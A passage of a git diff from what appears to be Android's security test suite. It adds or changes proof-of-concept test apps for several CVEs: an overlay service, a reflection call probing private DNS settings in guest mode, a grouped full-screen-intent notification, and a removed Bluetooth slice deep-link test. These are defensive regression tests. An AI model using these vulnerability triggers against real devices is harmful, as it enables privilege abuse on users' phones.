copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
index 1a335c7..5592323 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
 
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
 
-public class PocActivity extends Activity {
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
new file mode 100644
index 0000000..b83e824
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    Button mButton;
+    WindowManager mWindowManager;
+    LayoutParams mLayoutParams;
+    Intent mIntent;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        try {
+            mIntent = intent;
+            mWindowManager = getSystemService(WindowManager.class);
+            mLayoutParams = new LayoutParams();
+            mLayoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            mLayoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL |
+                    LayoutParams.FLAG_NOT_FOCUSABLE;
+            mLayoutParams.format = PixelFormat.OPAQUE;
+            mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            mLayoutParams.width = getScreenWidth();
+            mLayoutParams.height = getScreenHeight();
+            mLayoutParams.x = getScreenWidth() / 2;
+            mLayoutParams.y = getScreenHeight() / 2;
+            Context context = getApplicationContext();
+            mButton = new Button(context);
+            mButton.setText(context.getString(R.string.overlayButtonText));
+            mWindowManager.addView(mButton, mLayoutParams);
+            sendTestResult(getResources().getInteger(R.integer.noException), "");
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            mWindowManager.removeView(mButton);
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+        super.onDestroy();
+    }
+
+    void sendTestResult(int status, String message) {
+        try {
+            RemoteCallback cb =
+                    (RemoteCallback) mIntent.getExtras().get(getString(R.string.callbackKey));
+            Bundle res = new Bundle();
+            res.putString(getString(R.string.messageKey), message);
+            res.putInt(getString(R.string.statusKey), status);
+            cb.sendResult(res);
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
index 1a335c7..de67f0f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
@@ -14,9 +14,22 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
 
-import android.app.Activity;
+public class PocStatus {
+    int statusCode;
+    String errorMessage;
 
-public class PocActivity extends Activity {
+    public PocStatus(int status, String message) {
+        statusCode = status;
+        errorMessage = message;
+    }
+
+    public int getStatusCode() {
+        return statusCode;
+    }
+
+    public String getErrorMessage() {
+        return errorMessage;
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
index 09297b2..cf3b7e2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
@@ -20,12 +20,12 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2022-20112",
     defaults: [
-        "cts_defaults",
+        "cts_support_defaults"
     ],
     srcs: [
-        "src/**/*.java",
+        "src/**/*.java"
     ],
     test_suites: [
         "sts",
@@ -33,7 +33,6 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
     ],
     platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
similarity index 61%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
index d9e0ab2..052a711 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +13,10 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20112">
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20112" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
new file mode 100644
index 0000000..af45847
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="getAvailabilityStatusMethodName">getAvailabilityStatus</string>
+    <string name="privateDnsPreferenceControllerClassName">.network.PrivateDnsPreferenceController
+    </string>
+    <string name="testFailMsg">Device is vulnerable to b/206987762!! Private DNS can be modified in
+    guest mode</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
new file mode 100644
index 0000000..96cb205
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20112;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testprivateDnsPreferenceController() {
+        UiAutomation uiAutomation = null;
+        try {
+            Context context = getInstrumentation().getTargetContext();
+
+            // Retrieve settings package name dynamically
+            Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+            ComponentName settingsComponent =
+                    settingsIntent.resolveActivity(context.getPackageManager());
+            String settingsPkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                    : context.getString(R.string.defaultSettingsPkg);
+
+            // Get vulnerable method 'getAvailabilityStatus' using reflection
+            Context settingsContext = context.createPackageContext(settingsPkgName,
+                    Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+            ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+            Class<?> privateDnsPreferenceControllerClass =
+                    settingsClassLoader.loadClass(settingsPkgName
+                            + context.getString(R.string.privateDnsPreferenceControllerClassName));
+            Constructor<?> privateDnsPreferenceControllerCstr =
+                    privateDnsPreferenceControllerClass.getConstructor(Context.class);
+            Object privateDnsPreferenceControllerObject =
+                    privateDnsPreferenceControllerCstr.newInstance(settingsContext);
+            Method getAvailabilityStatusMethod = privateDnsPreferenceControllerClass
+                    .getDeclaredMethod(context.getString(R.string.getAvailabilityStatusMethodName));
+            getAvailabilityStatusMethod.setAccessible(true);
+
+            // Check if current user is guest user
+            uiAutomation = getInstrumentation().getUiAutomation();
+            uiAutomation.adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+            final UserManager userManager = context.getSystemService(UserManager.class);
+            assumeTrue(userManager.isGuestUser());
+
+            // Invoke vulnerable method 'getAvailabilityStatus'
+            int status =
+                    (int) getAvailabilityStatusMethod.invoke(privateDnsPreferenceControllerObject);
+            assertFalse(context.getString(R.string.testFailMsg), status == 0 /* AVAILABLE */);
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                uiAutomation.dropShellPermissionIdentity();
+            } catch (Exception ignored) {
+                // Ignore exception here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
deleted file mode 100644
index e049d48..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2022 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-
-<resources>
-    <string name="allowButtonResName">android:id/button1</string>
-    <string name="btAction">btAction</string>
-    <string name="className">.slices.SliceDeepLinkSpringBoard</string>
-    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
-    <string name="defaultSettingsPkg">com.android.settings</string>
-    <string name="failMessage">
-    Vulnerable to b/228450811 !! Possible to make bluetooth discoverable via
-    SettingsIntelligence#SliceDeepLinkTrampoline
-    </string>
-    <string name="messageKey">message</string>
-    <string name="resultKey">result</string>
-    <string name="sharedPreferences">sharedPreferences</string>
-    <string name="uri">
-    settings://com.android.settings.slices/?slice=content://com.android.settings.slices/action/bluetooth_devices
-    </string>
-</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
deleted file mode 100644
index ec61aa1..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2022_20347;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.UiAutomation;
-import android.bluetooth.BluetoothAdapter;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-    Context mContext;
-    Semaphore mPreferenceChanged;
-    UiDevice mDevice;
-
-    String getSettingsPkgName() {
-        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
-        ComponentName settingsComponent =
-                settingsIntent.resolveActivity(mContext.getPackageManager());
-        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
-                : mContext.getString(R.string.defaultSettingsPkg);
-        return pkgName;
-    }
-
-    int getInteger(int resId) {
-        return mContext.getResources().getInteger(resId);
-    }
-
-    void switchBluetoothMode(String action) {
-        Intent intent = new Intent(mContext, PocActivity.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(mContext.getString(R.string.btAction), action);
-        mContext.startActivity(intent);
-    }
-
-    @Test
-    public void testBluetoothDiscoverable() {
-        OnSharedPreferenceChangeListener sharedPrefListener;
-        SharedPreferences sharedPrefs;
-        boolean btState = false;
-        try {
-            mContext = InstrumentationRegistry.getInstrumentation().getContext();
-            Resources resources = mContext.getResources();
-            sharedPrefs = mContext.getSharedPreferences(
-                    resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
-            mPreferenceChanged = new Semaphore(0);
-            sharedPrefListener = new OnSharedPreferenceChangeListener() {
-                @Override
-                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
-                        String key) {
-                    if (key.equals(resources.getString(R.string.resultKey))) {
-                        mPreferenceChanged.release();
-                    }
-                }
-            };
-            sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
-            BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
-            // Save the state of bluetooth adapter to reset after the test
-            btState = btAdapter.isEnabled();
-
-            // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
-            if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
-                switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
-                assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
-                        TimeUnit.MILLISECONDS));
-                int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
-                        resources.getInteger(R.integer.assumptionFailure));
-                String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
-                        resources.getString(R.string.defaultSemaphoreMsg));
-                assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
-            }
-
-            // Enable bluetooth if in disabled state
-            switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
-            assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
-                    TimeUnit.MILLISECONDS));
-            int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
-                    resources.getInteger(R.integer.assumptionFailure));
-            String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
-                    resources.getString(R.string.defaultSemaphoreMsg));
-            assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
-
-            // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
-            assumeTrue(btAdapter.isEnabled());
-
-            // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
-            assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-
-            // Launch bluetooth settings which is supposed to set scan mode to
-            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
-            UiAutomation uiautomation =
-                    InstrumentationRegistry.getInstrumentation().getUiAutomation();
-            uiautomation
-                    .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
-            String settingsPkg = getSettingsPkgName();
-            Intent intent = new Intent();
-            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.setData(Uri.parse(mContext.getString(R.string.uri)));
-            intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
-            mContext.startActivity(intent);
-            mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
-                    getInteger(R.integer.timeoutMs)));
-            boolean isBtDiscoverable = false;
-            isBtDiscoverable =
-                    (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-            uiautomation.dropShellPermissionIdentity();
-
-            // The test fails if bluetooth is made discoverable through PoC
-            assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
-        } catch (Exception e) {
-            assumeNoException(e);
-        } finally {
-            try {
-                // Disable bluetooth if it was OFF before the test
-                if (!btState) {
-                    switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
-                    assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
-                            TimeUnit.MILLISECONDS));
-                }
-                // Go to home screen
-                mDevice.pressHome();
-            } catch (Exception e) {
-                // ignore exceptions here
-            }
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
index 09297b2..1ba587f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,10 +20,8 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
-    defaults: [
-        "cts_defaults",
-    ],
+    name: "CVE-2022-20415",
+    defaults: ["cts_support_defaults"],
     srcs: [
         "src/**/*.java",
     ],
@@ -33,7 +31,6 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
     ],
-    platform_apis: true,
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
new file mode 100644
index 0000000..476cf0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20415">
+    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+    <application>
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+        </activity>
+    </application>
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.security.cts.CVE_2022_20415" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
similarity index 65%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
index d9e0ab2..f2cba3d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2023 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,10 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+<resources>
+    <integer name="height">50</integer>
+    <integer name="idSummaryNotification">0</integer>
+    <integer name="idTestNotification">1</integer>
+    <integer name="requestCodeIntent">0</integer>
+    <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
new file mode 100644
index 0000000..195d696
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+  <string name="idNotificationChannel">testId</string>
+  <string name="msgFailure">Device is vulnerable to b/231322873 !!</string>
+  <string name="nameBroadcastActionString">CVE_2022_20415_action</string>
+  <string name="nameNotificationChannel">b/231322873 notification</string>
+  <string name="tagNotify">NOTIFY_TAG</string>
+  <string name="textSummaryNotification">Summary Content</string>
+  <string name="titlePocNotification">PoC</string>
+  <string name="titleSummaryNotification">Summary Title</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
new file mode 100644
index 0000000..6872351
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Context mContext;
+    private NotificationManager mNotificationManager;
+    private Resources mResources;
+
+    Icon createNotificationIcon() {
+        Bitmap testBitmap = Bitmap.createBitmap(mResources.getInteger(R.integer.width),
+                mResources.getInteger(R.integer.height), Bitmap.Config.ARGB_8888);
+        final Canvas canvas = new Canvas(testBitmap);
+        canvas.drawColor(Color.BLUE);
+        return Icon.createWithBitmap(testBitmap);
+    }
+
+    public void tryNotificationStart() throws Exception {
+        Icon icon = createNotificationIcon();
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext,
+                mResources.getInteger(R.integer.requestCodeIntent),
+                new Intent(mContext, PocActivity.class), PendingIntent.FLAG_IMMUTABLE);
+        NotificationChannel notificationChannel =
+                new NotificationChannel(mContext.getString(R.string.idNotificationChannel),
+                        mContext.getString(R.string.nameNotificationChannel),
+                        NotificationManager.IMPORTANCE_MAX);
+        notificationChannel.setDescription(mContext.getString(R.string.nameNotificationChannel));
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        Notification summaryNotification = new Notification.Builder(mContext,
+                mContext.getString(R.string.idNotificationChannel))
+                        .setContentTitle(mContext.getString(R.string.titleSummaryNotification))
+                        .setContentText(mContext.getString(R.string.textSummaryNotification))
+                        .setSmallIcon(icon).setGroup(mContext.getPackageName())
+                        .setGroupSummary(true /* make summaryNotification a group summary */)
+                        .build();
+        Notification pocNotification = new Notification.Builder(mContext,
+                mContext.getString(R.string.idNotificationChannel)).setSmallIcon(icon)
+                        .setContentTitle(mContext.getString(R.string.titlePocNotification))
+                        .setGroupAlertBehavior(Notification.GROUP_ALERT_SUMMARY)
+                        .setGroup(mContext.getPackageName())
+                        .setFullScreenIntent(pendingIntent, true /* high priority */).build();
+
+        mNotificationManager.notify(mContext.getString(R.string.tagNotify),
+                mResources.getInteger(R.integer.idTestNotification), pocNotification);
+        mNotificationManager.notify(mResources.getInteger(R.integer.idSummaryNotification),
+                summaryNotification);
+    }
+
+    @Test
+    public void testFullScreenIntent() {
+        try {
+            mContext = getInstrumentation().getTargetContext();
+            mNotificationManager = mContext.getSystemService(NotificationManager.class);
+            mResources = mContext.getResources();
+            Semaphore mBroadcastReceived = new Semaphore(0);
+            int timeoutMs = 20000;
+
